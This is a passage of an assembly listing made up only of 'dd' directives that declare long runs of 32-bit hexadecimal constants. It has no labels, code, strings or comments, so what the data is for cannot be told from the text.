		dd 0A045B0A3h, 6470F9A2h, 8A520096h, 671C2C19h,	0D275469Eh
		dd 74A3231Fh, 4F40031Fh, 603C15FCh, 1A0F00CCh, 0F26220A8h
		dd 76012881h, 0C52D6107h, 0FE60956Eh, 776A0302h, 920521CBh
		dd 17D36CD0h, 42134600h, 0A78ABAD6h, 0AA430281h, 32AC8793h
		dd 378F6563h, 9624A1A1h, 7B12C49Ah, 0DF898F00h,	7681921Fh
		dd 0FCF2008Ah, 0C58BEA86h, 0A73B0D3Ah, 8C658379h, 0D857E374h
		dd 545F5958h, 4E30848Ah, 0F95C014Fh, 2E5B9EC7h,	5040F849h
		dd 10930038h, 0E853A39Ch, 1605CE85h, 0A719C974h, 4BABD700h
		dd 5CE75C8Eh, 0D91CE51Dh, 12CA4190h, 68BC6F1Eh,	0B34400D0h
		dd 4CAEB8C0h, 7A90BA2h,	0F0206821h, 0F0EFDEE6h,	0E0668FA0h
		dd 76D15A12h, 0D7631502h, 0CEF8C8F2h, 0DFB881h,	2E380BF7h
		dd 5436CF27h, 0AE32D700h, 0D617D8D9h, 9C3312B7h, 68B802DDh
		dd 0F2604247h, 0B9012428h, 3A996D92h, 0C0D62D8Bh, 3A7DAA34h
		dd 4F801171h, 64EE28AEh, 0B6004A74h, 0E6C3F0E8h, 65BDF77h
		dd 119058ADh, 9914B09Bh, 0B9BF6Ch, 4AE6B897h, 0DDF618h
		dd 955AF998h, 50E2443Dh, 1A2C4AB0h, 0C0003C9Bh,	8E669439h
		dd 0EEDE09E4h, 0B8244DA1h, 98328035h, 0FE00EF4Fh, 0DBFAC81Fh
		dd 3974F1FCh, 88C9579h,	26B001B3h, 0BCEAF00h, 2F976CD1h
		dd 6071490Dh, 487A6E00h, 28895AA8h, 80CE9C39h, 35573934h
		dd 274024h, 0C3CBED2Eh,	15D79537h, 6700E890h, 0A8D410DAh
		dd 0EA68B88Bh, 9313003Dh, 0FC265870h, 0AF0F6BF6h, 0F7052F1Dh
		dd 8F8A1001h, 0CFE43645h, 27DF30DAh, 21E28198h,	82FC4E00h
		dd 0EAF0647Eh, 7AFF00F4h, 99787216h, 0E3F79AEh,	53DB1226h
		dd 0EE26D896h, 0C68A0E6Ch, 0D941B6ADh, 0EC6EBBF9h, 0E4C5791h
		dd 9ECE16D4h, 394C800Ch, 26CB03C8h, 9B31412Ah, 1F3598E0h
		dd 0E9EB7A00h, 52F40A46h, 1450F08Eh, 0B8B274EAh, 1EA01D38h
		dd 3541E900h, 0B023F610h, 48090083h, 5B98B553h,	0E200908Eh
		dd 0FA732C76h, 3FFC5ACCh, 0E0004430h, 0FE7E7D4Dh, 7006227h
		dd 48FDF891h, 0F25FE4h,	77D961CFh, 414A3DAh, 0F42A800Ch
		dd 0CCD586Dh, 0B715BE8Ch, 45003211h, 0D563E1EDh, 0B9E5FAFh
		dd 0AB60BE76h, 0BAD15880h, 430F77FFh, 60E09181h, 8CDE2751h
		dd 0D60D004Ch, 1647105Ah, 5700AAA6h, 5CF61FBh, 90FDA280h
		dd 0E5270234h, 0CD962034h, 988CB040h, 0E1B680A0h, 48855801h
		dd 0BB23A16h, 96EF1C24h, 0A51380BCh, 0BA1D10E3h, 5109B302h
		dd 80B201DCh, 23E487F0h, 0A870A6h, 627C96C8h, 404E3949h
		dd 6D7EC2F4h, 9040C05Bh, 456AA980h, 82F5071Eh, 44F1677Dh
		dd 4DE490C5h, 0DE027F32h, 669F6E16h, 0D4CCA2CCh, 0DC52EDh
		dd 0B24CF18h, 7710963Bh, 13B29807h, 699149E0h, 0F708A4h
		dd 7B2E9F98h, 64EF4436h, 56414200h, 0E25E7C3Ah,	0D400864Fh
		dd 787A2BDh, 0A0277454h, 0C4DC4h, 0D7E19933h, 9B09467Eh
		dd 0F97B3B00h, 0BFD276EAh, 0C2AB0082h, 0AA60CC1Ah, 0A007183h
		dd 0E8D7772h, 5CF03B85h, 0C707A068h, 50D2F3FAh,	0A720E35Fh
		dd 2A025E1Ch, 0A86E803Bh, 0FBD916F4h, 0A45B3F93h, 9E391331h
		dd 0A17BCC0Eh, 4A7DB64Ch, 8B714C00h, 4F9B14h, 882F7930h
		dd 800A1E0Eh, 0F682A150h, 0A6B42700h, 52FD8BB1h, 44F1052Eh
		dd 0C3FEC7E8h, 0C087E9F4h, 0AB2BBA7Eh, 0B0E56B2Ah, 2C88175Ah
		dd 0BAA316CFh, 0D0D00A2h, 0C975ECD9h, 0DD12F800h, 0B15613BDh
		dd 422700F4h, 0D8A96EA5h, 2E03CE24h, 0B7326D06h, 0E08DA0EAh
		dd 0FC830007h, 553EB8B3h, 8101FD94h, 0DC220170h, 2C30B9F6h
		dd 929E00C4h, 5EE37389h, 2A0937DDh, 0AE9B0AABh,	8FA3A080h
		dd 1F9A4035h, 810C0852h, 5B4AA281h, 1D07C0Dh, 820BA88Ah
		dd 15C484A7h, 9904EFCh,	0C000E694h, 107B2AF3h, 19E7E130h
		dd 0E1FF689h, 0C2FFB620h, 0A6572280h, 2D640F15h, 0C8B87379h
		dd 0F75FF84h, 25234169h, 81E814A7h, 0C4E807CAh,	0F07F6D44h
		dd 29C3892Fh, 16A05Ch, 0FB191C9Ah, 0B8D8CFh, 0B3DDFD6Eh
		dd 0D2517FF1h, 7C9F7900h
		dd 0D023983Dh, 0A0094C1Ah, 0CFE43E01h, 0EC4287CCh, 0D0EC826h
		dd 0C2B797EFh, 80BBA990h, 78AD4EA4h, 1F4A0950h,	10D84DA5h
		dd 0E8EB8600h, 7DBB97EEh, 61DA00F9h, 8CFF5615h,	0BF005DD6h
		dd 4A66512Fh, 3AD9Eh, 0DA6C88C9h, 1DDECC78h, 42D3F01Eh
		dd 5AF88DC7h, 7EB85890h, 0BCC712FCh, 7500E08Ah,	14E0E904h
		dd 0D0F85143h, 39382A01h, 3AF5EEEDh, 0E6972401h, 10809BE3h
		dd 0B11ACADEh, 6301A964h, 0EC697C54h, 6296E4h, 0C4CCE577h
		dd 9A0713B6h, 3CC083B8h, 24E41688h, 2971E51Eh, 681184C0h
		dd 675562h, 28181E42h, 8EB49ADFh, 0D2313C09h, 0BC5803Dh
		dd 1DF4C3h, 9D958FCBh, 970D8678h, 0F1E65113h, 150F0E0h
		dd 4CFAF315h, 808C13B4h, 0B5F99028h, 9EF8E44h, 0E7FB0763h
		dd 0D0B30427h, 1D9454E9h, 91FCA01Dh, 3071040h, 5EC25CD1h
		dd 0C3382B85h, 8A5787CFh, 10A4515Eh, 0C30B225Fh, 0F9234C08h
		dd 3EAC205Ch, 0F13C0861h, 0E49C4010h, 50E2D74h,	0AF2F0CFCh
		dd 0D2B3A603h, 16ADE20h, 0CD37D9E3h, 7067E14Ah,	1D07CB9Bh
		dd 9C306A87h, 0C3D014F0h, 2F1A008Fh, 0FAA77E4Bh, 0DB00BC3Fh
		dd 0B726C908h, 0E563717h, 13B8E1D7h, 0E8949D00h, 0B3782C52h
		dd 0DF1ED37Ch, 0C99D902Fh, 0D4B07CC0h, 3DAA230h, 0EAB655D8h
		dd 51C84AFAh, 2CFC35A6h, 872C800h, 0ACF8A147h, 0F66600FCh
		dd 0DC1265E9h, 0DD00FB92h, 799F7A39h, 7DFCD22Bh, 794F8A9h
		dd 47250D83h, 5EDBA034h, 0BA00F185h, 0C5234369h, 0FAF2F84Fh
		dd 176A01EDh, 0CFDF9C5Fh, 45B88ED6h, 0E93A207Fh, 390AAF9h
		dd 62474F43h, 3788724Ah, 4001EFF6h, 60A19786h, 66CCD74Dh
		dd 10063D9Fh, 7713E200h, 63D04A45h, 9D655Ch, 4D32A4ECh
		dd 0F46F1h, 0D2C7266Ch,	0F53DEE70h, 0A2FCED00h,	2D672EB1h
		dd 1EA0713Fh, 40DB226Bh, 30079A6Eh, 96020FF6h, 39D095C5h
		dd 3F6240DCh, 0ECFA1FBBh, 0C7678071h, 996913CEh, 201E2F79h
		dd 2BC7727Fh, 1C20F6E2h, 7CF3C754h, 5F570025h, 365DA13Eh
		dd 6A00D1B7h, 0DB8CF187h, 303729h, 5E0F44EEh, 40E7D815h
		dd 9EBEB03Ah, 0F2036C18h, 69AFBDh, 1AA91958h, 0E7380246h
		dd 7B73BA00h, 8A1E4807h, 874900C4h, 7C106316h, 37F8C8E6h
		dd 0E9FBBA00h, 0EFB80E7Ah, 8080505Ah, 822100DFh, 66779DA9h
		dd 832C582Eh, 0D41E7E5Ch, 7F002412h, 0F3496D36h, 0C99038Ch
		dd 0DF86A0A5h, 0C63490BCh, 9501E397h, 518B56EFh, 3880542Eh
		dd 154459A5h, 32831A7h,	8C02B025h, 0B740BA7Bh, 50C0A0D0h
		dd 81D545h, 5BEC1F4h, 0ABA0D651h, 0CB2FC0C0h, 18B361A4h
		dd 5988F73Dh, 0A0033FBh, 0BD60D1B4h, 0A10371h, 97BE6A86h
		dd 0E34FCDD5h, 9D398C0h, 30DF6BEAh, 5481DCC9h, 840799B9h
		dd 35348DCFh, 7289EB56h, 8E47036Ah, 375C97C7h, 0B9D215C0h
		dd 81FE7400h, 0EF2E1E8Dh, 34AE00DFh, 2D6D7512h,	5500A1EAh
		dd 322A03A0h, 78ADE09h,	0D9492C08h, 469592A8h, 15CF64E0h
		dd 55071903h, 889360EBh, 0A0D58AE4h, 75CDD7A0h,	0A02B6013h
		dd 7028F26Eh, 7168EA17h, 75543800h, 470EC6h, 0C7B33813h
		dd 6E3B509Fh, 0AE581E00h, 0A16614D4h, 0F6631E2Eh, 0D9E44022h
		dd 0B595528h, 5D8F7501h, 1B4E88A2h, 8E0A050h, 0BDE700E9h
		dd 6F1567B4h, 1A1CE1A7h, 0BA1636C1h, 25280Eh, 0D240A601h
		dd 765B26C5h, 6CC68C20h, 970547F8h, 0F8891F84h,	0F665A040h
		dd 709060h, 9EEB9C24h, 0D76FA4EDh, 8130EF3Eh, 0FA9FBE03h
		dd 0A2FC386Ch, 212A0157h, 2254C7CAh, 0C5F840AAh, 603D8442h
		dd 0AC78E264h, 12332EB2h, 4BFC47h, 38C8F221h, 4D7E34h
		dd 29A67FA4h, 0FBBFBE84h, 0AAC2D73Eh, 0E4E5F8FEh, 7B006086h
		dd 6A165B61h, 0AEB6CDh,	0D70F4809h, 2D5ABF0Bh, 0CF3AAD00h
		dd 23BB07A7h, 4ABC074Ch, 0D02E2901h, 1889D85Eh,	0B7A89D26h
		dd 8CD11503h, 8E00E7FAh, 840C73h, 44E295F3h, 0C7BDC958h
		dd 2C9ADDE6h, 0AA75BE0Fh, 21D68CD3h, 0F1D0035Dh, 19E9A667h
		dd 0DB8960A8h, 313D4100h, 5F089BCBh, 879A005Eh,	203A44B3h
		dd 0DA009367h, 3513E37h, 4F14B2h, 0B09C813Ch, 57FCB441h
		dd 1FBA2B3Ch, 59803E77h, 0EA375F6Eh, 17D50010h,	3AC63112h
		dd 5500D0B1h, 3D39286Fh, 1DDE3BCh, 35A9BF1Dh, 0CA89FCC4h
		dd 6B792C60h, 818CA405h, 0C000127Dh, 82DEDCBCh,	0A84F1222h
		dd 64F13Ch, 5E0675A0h, 4E7ED01Ch, 17E07680h, 7631142h
		dd 70911A66h, 9600F51h,	1EAE8807h, 0EE276B00h, 129BC8E2h
		dd 5141000Ah, 0F1BC8A13h, 0D50A2BC2h, 0E6B29CAEh, 0A0AFDE0Ah
		dd 0FC164B00h, 0C84F050h, 0DCC7A5D8h, 2C04B898h, 430D9D4Eh
		dd 5FD24490h, 0E85C4D48h, 4EB3D400h, 0CA988747h, 0CCD7624h
		dd 0E7857B81h, 51C423F9h, 5FFF0047h, 939E1739h,	0A002D79h
		dd 91F972CDh, 90617889h, 9F6D099Ch, 0F88142D9h,	34CFFAECh
		dd 6AF24E90h, 9B791907h, 0B2A1CBE7h, 48878C41h,	674DF85Ah
		dd 51D01021h, 0C00D4B1h, 0C376EF64h, 2015BA95h,	46023345h
		dd 62E32287h, 5A6060E0h, 93BB0011h, 0D284E2F8h,	37632DDFh
		dd 8820B0C1h, 7A2FC4h, 0D0BC6D6h, 0AF58083Bh, 117E7607h
		dd 3810AC84h, 902D9B5Eh, 3E877C13h, 0D580B3C5h,	78364C3Dh
		dd 550EAB89h, 0E0B1FA13h, 447A8379h, 748E0A46h,	0F46BD1h
		dd 0EFC204CDh, 88006618h, 8DAA7302h, 3EBEFF01h,	71877BC6h
		dd 30C1BA9Dh, 96EA4DD6h, 5975190Ah, 8902D0CCh, 60037453h
		dd 0AB0C184h, 0E0824D7Ah, 158C00E5h, 8137592Fh,	26DFAF00h
		dd 48C4634Ch, 0E4D20018h, 8677CBF6h, 677BC305h,	3DABDB00h
		dd 23F4D84Dh, 85BB0316h, 3E69A109h, 93E73790h, 8D46BF0Fh
		dd 18D480EBh, 0B1A0A4A7h, 8A758244h, 4C108DABh,	5DDE1C2Eh
		dd 0AD61C0D4h, 1441C4FDh, 2665283Eh, 680F6135h,	548920B7h
		dd 0FEEE98h, 4347703Ch,	0D816ED6Dh, 85032272h, 90B96A06h
		dd 4838D82Eh, 2F6C385Fh, 0A80F5D80h, 0F2F0C136h, 0AEE8B101h
		dd 72BF91C0h, 753DFE40h, 682F4931h, 0F6013220h,	0EC505759h
		dd 0DC348306h, 53620018h, 0DE38D8A1h, 0BE1D2558h, 5B058C21h
		dd 0EC8046EAh, 8DEB18h,	979913Fh, 70C01DB3h, 5C86D501h
		dd 940E0238h, 1FB6F870h, 0C050160Fh, 0BBF59581h, 6A3C1009h
		dd 825A84F9h, 24A44A67h, 6DFB00D2h, 31EDFF90h, 150DB706h
		dd 20E8E460h, 0C14DFC03h, 119EE9B2h, 4E6300B1h,	0F1B79E0Dh
		dd 3664039h, 0D9E33702h, 352000BFh, 3D7DD756h, 6203B7DEh
		dd 0EA416F4h, 1242F709h, 7265E06Dh, 0C2E80F05h,	0FC4069EAh
		dd 5CEF8D38h, 0EB94A401h, 7B37D95Ah, 0F9525441h, 311A1862h
		dd 8CE1A8CEh, 0D8718006h, 0E60AF12Ch, 0EF4700C5h, 6878D301h
		dd 0DA0E10C8h, 0A1B2B3C6h, 7DD8E616h, 0AA03D0h,	907F6CD0h
		dd 41B548BBh, 0DBA6C800h, 0A8B3D9A3h, 0E0287F72h, 0CD8100AEh
		dd 5F30BC55h, 7A03ADB2h, 3B54D0DCh, 0F497B80Fh,	6F1900F8h
		dd 72B4573Ch, 0E809616Bh, 0E50BE58h, 0F6E9077Fh, 4901754h
		dd 8A5E95h, 4E90B53Fh, 0B2FB35BDh, 0B9006CBAh, 0D1CBE253h
		dd 0B88C2A9Ah, 4BC50068h, 0FC62A496h, 3A0059A1h, 30173F5Ah
		dd 2A6EEFDCh, 7894E31Ah, 259500EEh, 15A10CC1h, 71000F31h
		dd 353C1B07h, 316C2AB3h, 0A03812AFh, 5E547094h,	0D9A5130Ah
		dd 9880B0B5h, 3F0B14E8h, 0EDB70CC6h, 0AB08D637h, 0C17621C0h
		dd 0B4F214h, 8BC94C50h,	3E7443C4h, 740B100h, 0FEE938A0h
		dd 52E3E231h, 0B806DCBAh
		dd 0E9E05AFCh, 3D03E60Ch, 601B20D0h, 0F4A5C1E8h, 806143Ah
		dd 0D61A50A0h, 5B760019h, 0A9632FBh, 8C005237h,	29E4110h
		dd 0D938F33Ch, 18A3C8D0h, 91408EAh, 0A1C4D63Fh,	14C37840h
		dd 0BD0E2011h, 60B85B0Ch, 3F869766h, 0F83A00E9h, 0DD35071Fh
		dd 9800BB80h, 0FA63F75Dh, 1EC5B49h, 0C3939D9Ch,	0E004CBFBh
		dd 175C862h, 0DBD54F00h, 70489A2Bh, 633006Ch, 0B6F4F199h
		dd 0A5007852h, 0A90D3261h, 927087h, 4089CBC2h, 49B9428h
		dd 0F037A61Fh, 60C3174Eh, 0B1259FF1h, 0C76E0029h, 0B39CE2B2h
		dd 0D80099FCh, 7137C11Dh, 0E16BEBh, 9E11B893h, 0FF2707D0h
		dd 8899D600h, 254ADBC6h, 93AE654h, 0EFAE3971h, 4F82A480h
		dd 9B26D713h, 600090EDh, 7EFB8A07h, 0FC4C002Ch,	8C5B3CF0h
		dd 1C0071B5h, 13097A6Fh, 0B49157h, 86EF2622h, 0CE5DF744h
		dd 0D0DEAC1Ch, 3C1E00FBh, 0B22C4172h, 46D50042h, 0C9275C12h
		dd 5B58E776h, 196032Fh,	0FF60524Fh, 577180CEh, 0F356C0h
		dd 0CE6836F6h, 137686ABh, 29058C0Eh, 8821C032h,	71B8CAE5h
		dd 6E09Ah, 807CDE46h, 72BE2B66h, 4D3AB00Fh, 0A4AB206Fh
		dd 7205E932h, 0ADD63C64h, 6AEB3700h, 411F2061h,	363A7701h
		dd 3CA3942Eh, 0E4696880h, 6249517Ah, 2000477Ah,	6BCE861Bh
		dd 0C6A975h, 0F0DF15C2h, 0F2935E96h, 3873FD30h,	28D347h
		dd 29C1C334h, 0F885CF4Fh, 307B0F38h, 25564087h,	60940EF1h
		dd 96808A91h, 51B31CFCh, 2A051900h, 1DBE8222h, 954D0001h
		dd 74F49699h, 1100B9BBh, 7BFE0D62h, 0E6B450DDh,	4C5401D3h
		dd 36CF6C5Ah, 91FFCCA9h, 50A7C60Eh, 7B2680EAh, 386DB4h
		dd 0E8AA54B5h, 9757D9F9h, 2FD4B1Eh, 9CBDBA83h, 0A53EF05Ah
		dd 335F00CAh, 0B4DE7B48h, 5B00EBE0h, 0CE6B594Fh, 0C9E237h
		dd 7BEE87D7h, 0BEAF5DE9h, 0B0AD9600h, 56F12F5Fh, 0C92C070Eh
		dd 706D5359h, 7B8A9C87h, 8039FD39h, 91F0A96Ah, 889261h
		dd 0FA305412h, 56A8ED70h, 0A0E6B918h, 0A63D88h,	9E1C2F9Fh
		dd 0BD871D2Ah, 0A8C8300h, 0F4E82127h, 2376B2h, 3FAC9171h
		dd 65174C97h, 0C8BD110Fh, 5305608Ch, 65B0828h, 0D4A240Ah
		dd 22229836h, 8F150072h, 0E97EFE80h, 86064189h,	5A4C10Dh
		dd 0C3B400DAh, 1CB154FFh, 0C600EB32h, 0CC19C0A1h, 15EA94h
		dd 0AC7E91FCh, 0BBBC7A35h, 40B880EDh, 7754E2A7h, 5FF707D9h
		dd 6032EBBEh, 722F6699h, 7418FD24h, 3798CC20h, 0ADA6E21Fh
		dd 95691A47h, 0D3330CA7h, 80B4F2BBh, 0CCF2A4FCh, 5F370C9Ch
		dd 0AAB86BD5h, 0F9A98F00h, 7CFD0A25h, 0D430FB7h, 40529E53h
		dd 0EE0C7840h, 2A008A48h, 185F6D33h, 0B23C22h, 0EF1F70EDh
		dd 0C8574BFFh, 9DE91E00h, 0CCAB6A42h, 611B004Ah, 40637D6Dh
		dd 76EE4C0Ah, 0F4644800h, 0D478853Ch, 0DF5100F0h, 993BDCABh
		dd 0BB009D04h, 75089247h, 0AF9377h, 0BE35CA9Ch,	0D9149F32h
		dd 27025200h, 225D5EF7h, 96650394h, 0E3B1A72Bh,	4400BBDBh
		dd 0B68CD11Ch, 0CFB5A659h, 69872A19h, 10E2061Eh, 0CC536E00h
		dd 44DAC355h, 735200DDh, 0E79CD251h, 5A00196Dh,	1D4DA1F5h
		dd 0D89E61h, 5E6BE48Ah,	0E09B217Dh, 0FB00BAFCh,	2EDBC0FDh
		dd 3A205Bh, 93B94EE6h, 77A68AD4h, 0D0BDD215h, 3E8C00B4h
		dd 2BEA7164h, 0B1FA0068h, 9F23F4F0h, 0A8124344h, 0CC00983Ch
		dd 742613CEh, 7C9D0060h, 0EC840D2h, 4D02AD8Eh, 2402B499h
		dd 0BD1C6834h, 3622036Ah, 19845E0Ch, 663BC690h,	1F694588h
		dd 0CFA4F9CFh, 0B2A0D449h, 2A1CDF63h, 9C082700h, 0DD6B050Ch
		dd 43CC000Ah, 3A1DB71h,	28005D06h, 0EC7E80B3h, 0E8BEE36h
		dd 6071386Fh, 29C5BCC0h, 7C0E6A0Fh, 23126EA3h, 80D95451h
		dd 9AAFC3h, 75FEFCBDh, 0D8F7F6FFh, 95DCF11Ch, 58240166h
		dd 1F3B00B8h, 9011F523h, 165D00A2h, 68D3C240h, 97009233h
		dd 89B0DC06h, 38FDF66h,	0CCFE9E2Fh, 0CA005453h,	62C5E2C6h
		dd 248955h, 0F1852DA2h,	70A53643h, 0D2AFD700h, 17967375h
		dd 9CC04CDAh, 0E9C4BA00h, 0A0A36D0Fh, 0F7BC53Dh, 0A05DCB1Ch
		dd 878FFC58h, 0C7D500CDh, 72F2AD36h, 421F7390h,	2CC1F31Ah
		dd 0F1EC8FC6h, 70DDAEE4h, 25470092h, 8849561Eh,	0EE01ED5Ch
		dd 7B4044ACh, 27608AAEh, 4B57004Ah, 4E8C8638h, 0B1046358h
		dd 5AC5F0Ch, 0DB00E494h, 0DB086994h, 2C97095Eh,	0E8094EF6h
		dd 0B870F00h, 7C07CF67h, 53E72731h, 0BA5295B0h,	5A600038h
		dd 7AF0104Eh, 701777Fh,	0E3DBAF83h, 0E73070ADh,	204500B7h
		dd 5E182149h, 78093B1Fh, 0A5FB83h, 0ACADD11Bh, 0E9CC00CFh
		dd 0D9D85DDDh, 17002B54h, 7906C921h, 0FC5855AAh, 0CE700E5Bh
		dd 6E40D635h, 16FCEA3Ch, 29443230h, 0BEDAAFh, 0B33782E7h
		dd 7AEF3C52h, 3DDC0C01h, 0C8486E04h, 0F66BC300h, 43038B7Bh
		dd 106DE0BFh, 59D9B1DAh, 2220C24h, 0AA8FB302h, 4CC826FCh
		dd 0A70186B8h, 2901DDE1h, 4E8B369h, 0F36B07D2h,	0A0C35A8Ch
		dd 0E545C462h, 8947DF3Eh, 81CA605Eh, 0EA0EFB61h, 0B283ABC4h
		dd 0C2060F94h, 2A21ED67h, 0D093F011h, 75630945h, 1183EF20h
		dd 60685310h, 288F1B20h, 21110071h, 10EC645Ch, 233A0812h
		dd 0E29F80CBh, 0A955A36Ah, 8EC9C25Ah, 0CC0187Fh, 89332B10h
		dd 0C66958D7h, 27110E20h, 77C3CB07h, 0E6C09B96h, 1D012645h
		dd 5C69E79Fh, 80D8F28Bh, 0C840124h, 0FFAB2E76h,	0D81E409h
		dd 5F6F2B00h, 543A59A3h, 0D7C809ADh, 34A0CAC4h,	25AA84Bh
		dd 0B5890339h, 0D802680Dh, 9A99EAECh, 0ED48C084h, 1084A09Bh
		dd 0B40B0FB7h, 91C04B55h, 5FC30A4Fh, 0A778F6C0h, 99C6D2h
		dd 0DCBE84F5h, 0CFC45966h, 557CCB07h, 0B9179Fh,	0B74488EAh
		dd 0DB2B00DAh, 3B871682h, 7F002957h, 89E5097Ch,	712601h
		dd 9AECEE32h, 4AAB1982h, 9D1F4E00h, 93283394h, 0E67C0074h
		dd 856D39Bh, 830E3E9Eh,	21653DDBh, 483CF8EFh, 1FAA4FCCh
		dd 0C073915Eh, 0A6C8FC1Dh, 425C0288h, 22900710h, 0BD208763h
		dd 7F5DABh, 100EF220h, 0C24546CCh, 7354CA00h, 38AE36BFh
		dd 0EB7F4CDh, 245F496Ah, 5D82DC20h, 3F00973Ah, 0A4016C5Eh
		dd 0E38731h, 6870740Ch,	64E6DF81h, 0EF6F8A8h, 6C074A70h
		dd 9B8A288Eh, 0C06204D3h, 39E0AD68h, 67029123h,	0C5218790h
		dd 36517844h, 69E247F6h, 43D71003h, 213F0830h, 0E8B532Bh
		dd 8655E5BEh, 0C3C20324h, 681657B6h, 40F3359h, 0C6520241h
		dd 8B304868h, 6FC400F5h, 0CAA3E2E4h, 0A2741AEAh, 242180FFh
		dd 0F930C4FEh, 260404ADh, 9081715Dh, 0F8A3870Ch, 0B0B68B30h
		dd 60CA3455h, 6D442084h, 0CC60EE28h, 9A132E29h,	19AD035Dh
		dd 2955833Bh, 8839082Eh, 9A1B0C80h, 78430EF0h, 0E3BB047h
		dd 5CD61041h, 771864Ch,	0C75AFC03h, 3F5EBA3Ch, 0AB98CF68h
		dd 0E5D7808Dh, 0DB50108h, 145503B9h, 280779F2h,	0F311ADA3h
		dd 2721C4C0h, 0EF30007Fh, 0F89DACB2h, 9C0051C6h, 46198EDBh
		dd 28AFFBC4h, 0F2081Dh,	22ABA90h, 44974E48h, 7FBCD000h
		dd 206625D8h, 0FF30015h, 32033CA3h, 0C400A8E0h,	0EDEFB2D5h
		dd 0EAC834h, 114F9FCBh,	94413F6Ch, 3A0F44FEh, 3C75DBEh
		dd 0C858062Ch, 390F2374h, 0D8801967h, 8E438064h, 0B000AFE6h
		dd 0EA7EF68Fh, 81548Ah,	0CF6878C6h, 19CC6D9Ah, 80739C38h
		dd 9F0823FBh, 70525F43h, 0B8C5001Dh, 0E3B29868h, 4004ABEh
		dd 6A80CB22h, 936B4Bh, 4CBCE6BDh, 0CC74F206h, 3500A6F0h
		dd 0C53711C0h, 59EAAFh
		dd 7DBE2294h, 1FBD8B40h, 4BDF7203h, 0C053E4F5h,	1FC74DDEh
		dd 86C615B8h, 0D0195259h, 0AE96CA00h, 8119C83h,	8BD507FAh
		dd 7059765Bh, 0BFE1F4DDh, 3C00F9E4h, 0A5D4B940h, 0C84178h
		dd 5EBC8E9Dh, 3A231AB4h, 0AC9E3400h, 9F7EB88Ah,	5BC400B3h
		dd 437FB978h, 0C97D6527h, 0FA91AA1Fh, 118E53C0h, 466BD3h
		dd 56B1F20Dh, 89DE5EEAh, 80586800h, 5FB49E9Fh, 9AC00DBh
		dd 26C1BAC9h, 0C8006718h, 43DE8EBDh, 0E06638h, 90E6ADB0h
		dd 0DA80F114h, 52A28C00h, 71D3108Fh, 0F40E0048h, 6FC0636Ah
		dd 9400DAEDh, 0B2729D21h, 0C0F1DCBCh, 4535F4A8h, 980B1266h
		dd 871C2C81h, 600F1AFEh, 0C55429FEh, 0F7A5013Bh, 65379839h
		dd 335BE443h, 403C37Bh,	41B51059h, 2AA8019Ah, 0F7DEBE14h
		dd 935BFC26h, 6871C637h, 846ED5D0h, 8217046Ch, 40C7622Ch
		dd 0CD4FDF2Bh, 0A3340ABAh, 8FB0FC35h, 0C1A0E16Fh, 11284315h
		dd 9E0EB8F6h, 0A007FC13h, 639E078h, 959200D5h, 0BB6EE947h
		dd 0F5005A0Fh, 6BDF8862h, 0C628D7h, 0AD77486Fh,	39ECDC25h
		dd 4C00A070h, 5BB841C1h, 398A2DAh, 64D4292h, 3B93F6Bh
		dd 0C04C20F7h, 88E35100h, 72F6D7E9h, 0A715188Ah, 48E8A163h
		dd 3E616707h, 3510CC7Fh, 31F4FFEh, 0A6D193B7h, 0BA1BE01h
		dd 61DEFCD6h, 9EA0DD00h, 88F30C6Ch, 9B42008Dh, 47A47583h
		dd 6E3FDC56h, 0F9B500D6h, 951A826Ch, 5CC3142Eh,	5208CC84h
		dd 0A700C109h, 5F40BDE3h, 0D16402DEh, 0E2384496h, 0FCF48090h
		dd 1ABB35Ch, 0C3C2FD6Fh, 0EBED57EAh, 5E850D8h, 0D773DAA2h
		dd 40BC303Ch, 53EE5999h, 0A8FF2200h, 0F2894C05h, 7D3213A2h
		dd 98DE02A6h, 8CA01943h, 0BE77E965h, 0FC5D1400h, 3C1D693Bh
		dd 164000ACh, 96F719ABh, 6FE8E2D1h, 505C4Ch, 0BFFF053Ah
		dd 0ECDD1Dh, 0CBF5FDACh, 1EF0CAFBh, 67E8A401h, 0DE1AB89Fh
		dd 0D704F0h, 0FD827890h, 752461E4h, 0C5A1AE00h,	42303AF3h
		dd 6BD00009h, 1FC2CE0Fh, 0A91D1495h, 9080F917h,	5C94C98h
		dd 0F4A10032h, 80B02006h, 0DA2618ABh, 0AE006B31h, 962490Fh
		dd 0D0330001h, 668E7230h, 0A11EDB92h, 0BF0071B6h, 23C7B945h
		dd 703826D3h, 5ACA006Ah, 343F2C8h, 0B2B7E700h, 0D919AA49h
		dd 89B05C08h, 0DE1F020Fh, 0F21288D8h, 2D028272h, 74A231CBh
		dd 0C052C0C3h, 7176FAh,	0B73F7E66h, 348288BFh, 764AD500h
		dd 3B5EAB2h, 686D009Dh,	0E32BFEB3h, 6B003F37h, 4D08ECDFh
		dd 1A3AFC9h, 0CA47C604h, 0D4835030h, 5A28515Ch,	60484A7h
		dd 69AC5D2Ch, 0D7ED40D0h, 5E100099h, 0B9EA452Eh, 6F0EAAE6h
		dd 0C03A297Ch, 0EB7318FEh, 0CCF0356h, 3BFDDE88h, 0A4075B98h
		dd 7C0E0D01h, 0B39E4A97h, 5233B540h, 342D0943h,	4C007A7Bh
		dd 3FD077C5h, 36F4D0Ch,	2676602Eh, 0F11851h, 7D67C270h
		dd 0A092FB3Eh, 0E409E0F2h, 25C108F8h, 9CC03738h, 4C482613h
		dd 5A00AC22h, 0B10470F6h, 8401E969h, 3BFBC1CFh,	71C1CDBFh
		dd 227EDE40h, 308567EFh, 0D3F87060h, 0B4A0FFBFh, 847055h
		dd 8287B5A7h, 513E3189h, 0FA008BE2h, 68670206h,	60815Dh
		dd 4BAB2324h, 27AA2A16h, 89764000h, 4384C114h, 0BC4E0036h
		dd 489A6D5Ch, 0FD01D0F0h, 1BB7A724h, 82DA31DDh,	608AA9BCh
		dd 1C0A1E09h, 4094A8F6h, 81364A71h, 10063DDh, 69867D3Fh
		dd 0E32D8C08h, 0E3CEBC0h, 7368830Eh, 40287A47h,	2B69B0DCh
		dd 3130F600h, 17E0F526h, 867E0EEBh, 0E5638B22h,	52F8CC19h
		dd 23133CC1h, 0D500F70Bh, 0DAD2B1DDh, 0BC2800B0h, 91C8CC66h
		dd 0FE2CC1D1h, 3B004912h, 3D2088CAh, 0AEF10092h, 0B0F68B3h
		dd 0F80070A3h, 26CA3163h, 754496Fh, 3A88F253h, 6A4EEE15h
		dd 0CE558020h, 0DA3EFD4Ah, 96BB47h, 9ED1D49Ah, 26D8B16h
		dd 2360F633h, 9E40CF12h, 93003104h, 92BFB11Eh, 30C9A3h
